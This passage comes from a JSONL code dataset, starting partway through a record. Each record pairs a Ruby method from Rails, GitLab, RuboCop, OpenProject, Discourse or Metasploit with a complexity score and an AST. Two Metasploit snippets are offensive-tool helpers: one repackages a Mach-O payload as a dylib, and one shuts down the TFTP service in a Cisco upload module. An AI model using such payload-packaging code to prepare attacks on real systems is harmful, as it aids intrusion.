lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"str\",\"children\":[\"_member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"members\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"leave_path\"]},{\"type\":\"send\",\"children\":[null,\"polymorphic_path\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"leave\"]},{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"members\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"leave_confirm_message\"]},{\"type\":\"send\",\"children\":[null,\"leave_confirmation_message\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"requesters\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"requester\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"requesters\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"withdraw_member_access_request\"]},{\"type\":\"lvar\",\"children\":[\"requester\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"withdraw_path\"]},{\"type\":\"send\",\"children\":[null,\"polymorphic_path\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"leave\"]},{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"members\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"withdraw_confirm_message\"]},{\"type\":\"send\",\"children\":[null,\"remove_member_message\",{\"type\":\"lvar\",\"children\":[\"requester\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"request_access_enabled\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"request_access\"]},{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"request_access_path\"]},{\"type\":\"send\",\"children\":[null,\"polymorphic_path\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_access\"]},{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"members\"]}]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]}]}]}","id":"bb8f5ed1-1a12-431e-a195-1b6e110e3029"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/stack.rb","start_line":35,"raw_source":"def inspect\n        if klass.is_a?(Module)\n          klass.to_s\n        else\n          klass.class.to_s\n        end\n      end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Module\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"class\"]},\"to_s\"]}]}]}","id":"0ea60f9d-71ea-4233-af70-7e8334a5e122"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/cascading_namespace_setting_attribute.rb","start_line":50,"raw_source":"def cascading_attr(*attributes)\n      attributes.map(&:to_sym).each do |attribute|\n        # public methods\n        define_attr_reader(attribute)\n        define_attr_writer(attribute)\n        define_lock_attr_writer(attribute)\n        define_lock_methods(attribute)\n        alias_boolean(attribute)\n\n        # private methods\n        define_validator_methods(attribute)\n        define_attr_before_save(attribute)\n        define_after_update(attribute)\n\n        validate :\"#{attribute}_changeable?\"\n        validate :\"lock_#{attribute}_changeable?\"\n\n        before_save :\"before_save_#{attribute}\", if: -> { will_save_change_to_attribute?(attribute) }\n        after_update :\"clear_descendant_#{attribute}_locks\", if: -> {\n          saved_change_to_attribute?(\"lock_#{attribute}\", to: true)\n        }\n      end\n    end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cascading_attr\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_attr_reader\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_attr_writer\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_lock_attr_writer\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_lock_methods\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"alias_boolean\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_validator_methods\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_attr_before_save\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_after_update\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"validate\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_changeable?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"lock_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_changeable?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"before_save\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"before_save_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"will_save_change_to_attribute?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"after_update\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"clear_descendant_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_locks\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"saved_change_to_attribute?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"lock_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}]}]}","id":"a7eca3ac-bc50-4bdc-884e-34c62f8bb92c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/mcp/base.rb","start_line":60,"raw_source":"def invoke_basic_handler\n          method_name = params[:method]\n          handler_class = JSONRPC_METHOD_HANDLERS[method_name] || method_not_found!(method_name)\n          handler = handler_class.new(params[:params] || {}, oauth_access_token, current_user)\n          handler.invoke\n        end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke_basic_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"handler_class\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSONRPC_METHOD_HANDLERS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"send\",\"children\":[null,\"method_not_found!\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"handler\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler_class\"]},\"new\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"oauth_access_token\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"invoke\"]}]}]}","id":"545ea523-9049-454e-be0d-e006fb803fc1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/metrics/block_nesting.rb","start_line":28,"raw_source":"def check_nesting_level(node, max, current_level)\n          if consider_node?(node)\n            current_level += 1 if count_if_block?(node)\n            if current_level > max\n              self.max = current_level\n              unless part_of_ignored_node?(node)\n                add_offense(node, message: message(max)) { ignore_node(node) }\n              end\n            end\n          end\n\n          node.each_child_node do |child_node|\n            check_nesting_level(child_node, max, current_level)\n          end\n        end","complexity_score":23.38,"ast_json":"{\"type\":\"def\",\"children\":[\"check_nesting_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"max\"]},{\"type\":\"arg\",\"children\":[\"current_level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"consider_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"count_if_block?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_level\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_level\"]},\">\",{\"type\":\"lvar\",\"children\":[\"max\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"max=\",{\"type\":\"lvar\",\"children\":[\"current_level\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"part_of_ignored_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"max\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"ignore_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]},null]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_child_node\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_nesting_level\",{\"type\":\"lvar\",\"children\":[\"child_node\"]},{\"type\":\"lvar\",\"children\":[\"max\"]},{\"type\":\"lvar\",\"children\":[\"current_level\"]}]}]}]}]}","id":"70622be8-6d09-415f-a696-ac220450b5dc"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":258,"raw_source":"def raise_generation_error(args)\n                missing_keys = []\n                params = parameterize_args(args) { |missing_key|\n                  missing_keys << missing_key\n                }\n                constraints = Hash[@route.requirements.merge(params).sort_by { |k, v| k.to_s }]\n                message = +\"No route matches #{constraints.inspect}\"\n                message << \", missing required keys: #{missing_keys.sort.inspect}\"\n\n                raise ActionController::UrlGenerationError, message\n              end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_generation_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"missing_keys\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameterize_args\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"missing_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_keys\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"missing_key\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"constraints\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@route\"]},\"requirements\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No route matches \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constraints\"]},\"inspect\"]}]}]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\", missing required keys: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_keys\"]},\"sort\"]},\"inspect\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"UrlGenerationError\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"7e90719a-ec39-4f2d-9061-5f42d10a4638"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/context_menu.rb","start_line":75,"raw_source":"def choose_delete_and_confirm_deletion\n        choose \"Delete\"\n        # only handle the case where the modal does _not_ ask for descendants deletion confirmation\n        within_modal(I18n.t(\"js.modals.destroy_work_package.title\", label: \"work package\")) do\n          click_button \"Delete\"\n        end\n        expect_and_dismiss_toaster\n      end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"choose_delete_and_confirm_deletion\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"choose\",{\"type\":\"str\",\"children\":[\"Delete\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_modal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.modals.destroy_work_package.title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"work package\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Delete\"]}]}]},{\"type\":\"send\",\"children\":[null,\"expect_and_dismiss_toaster\"]}]}]}","id":"ba25bbf9-1879-4de6-b931-2fdcadff22fc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/macho.rb","start_line":47,"raw_source":"def to_dylib(name)\n    new_lc = MachO::LoadCommands::LoadCommand.create(:LC_ID_DYLIB, \"@executable_path/#{name}.dylib\", 0, 0, 0)\n    @macho.add_command(new_lc)\n\n    raw_data = @macho.serialize\n    raw_data[12] = MachO::Headers::MH_DYLIB.chr\n    raw_data[36,7] = \"__ZERO\\x00\"\n    raw_data\n  end","complexity_score":8.75,"ast_json":"{\"type\":\"def\",\"children\":[\"to_dylib\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_lc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MachO\"]},\"LoadCommands\"]},\"LoadCommand\"]},\"create\",{\"type\":\"sym\",\"children\":[\"LC_ID_DYLIB\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@executable_path/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\".dylib\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macho\"]},\"add_command\",{\"type\":\"lvar\",\"children\":[\"new_lc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macho\"]},\"serialize\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_data\"]},\"[]=\",{\"type\":\"int\",\"children\":[12]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MachO\"]},\"Headers\"]},\"MH_DYLIB\"]},\"chr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_data\"]},\"[]=\",{\"type\":\"int\",\"children\":[36]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"str\",\"children\":[\"__ZERO\\u0000\"]}]},{\"type\":\"lvar\",\"children\":[\"raw_data\"]}]}]}","id":"92d484f7-6cb1-47be-bc20-275a4df328e5"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/open_project/filter/filter_button_component_preview.rb","start_line":35,"raw_source":"def default\n        @query = ProjectQuery.new\n        render(::Filter::FilterButtonComponent.new(query: @query))\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectQuery\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Filter\"]},\"FilterButtonComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"ivar\",\"children\":[\"@query\"]}]}]}]}]}]}]}","id":"237a3c40-8bdd-4e0a-9690-639ffaf70aa2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/snmp/cisco_upload_file.rb","start_line":91,"raw_source":"def cleanup\n    # Cleanup is called once for every single thread\n    if ::Thread.current == @main_thread\n      # Wait 5 seconds for background transfers to complete\n      print_status('Providing some time for transfers to complete...')\n      ::IO.select(nil, nil, nil, 5.0)\n\n      print_status('Shutting down the TFTP service...')\n      if @tftp\n        begin\n          @tftp.close\n        rescue StandardError\n          nil\n        end\n        @tftp = nil\n      end\n    end\n  end","complexity_score":12.65,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Thread\"]},\"current\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@main_thread\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Providing some time for transfers to complete...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IO\"]},\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[5.0]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Shutting down the TFTP service...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tftp\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tftp\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@tftp\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]},null]}]}","id":"237933ae-5a74-40c9-8e3e-997e5f3701e3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/update_package_from_metadata_service.rb","start_line":171,"raw_source":"def package_types\n        metadata.fetch(:package_types, [])\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"package_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"package_types\"]},{\"type\":\"array\",\"children\":[]}]}]}","id":"2bb93f8b-b749-4390-9c20-a7d53edf6ee1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/content_security_policy/middleware.rb","start_line":41,"raw_source":"def html_response?(headers)\n      headers[\"Content-Type\"] && headers[\"Content-Type\"] =~ /html/\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"html_response?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"headers\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"html\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"0af03fc6-d407-44fe-bdd4-656f84ed1b56"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":1307,"raw_source":"def test_preloading_through_empty_belongs_to\n    c = Client.create!(name: \"Foo\", client_of: Company.maximum(:id) + 1)\n\n    client = assert_queries_count(2) { Client.preload(:accounts).find(c.id) }\n    assert_no_queries { assert_predicate client.accounts, :empty? }\n  end","complexity_score":16.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preloading_through_empty_belongs_to\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_of\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"maximum\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"preload\",{\"type\":\"sym\",\"children\":[\"accounts\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"accounts\"]},{\"type\":\"sym\",\"children\":[\"empty?\"]}]}]}]}]}","id":"706f52ae-6f37-4f36-8649-1cfe6e13dfe0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb","start_line":49,"raw_source":"def initialize(version, max_size)\n          @version = version\n          @current_version = version.value\n          @map = {}\n          @max_size = max_size\n          @enabled = false\n          @dirties = true\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"arg\",\"children\":[\"max_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@map\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@max_size\",{\"type\":\"lvar\",\"children\":[\"max_size\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@enabled\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@dirties\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"d545c048-facd-4c28-9b64-f22023956da8"}
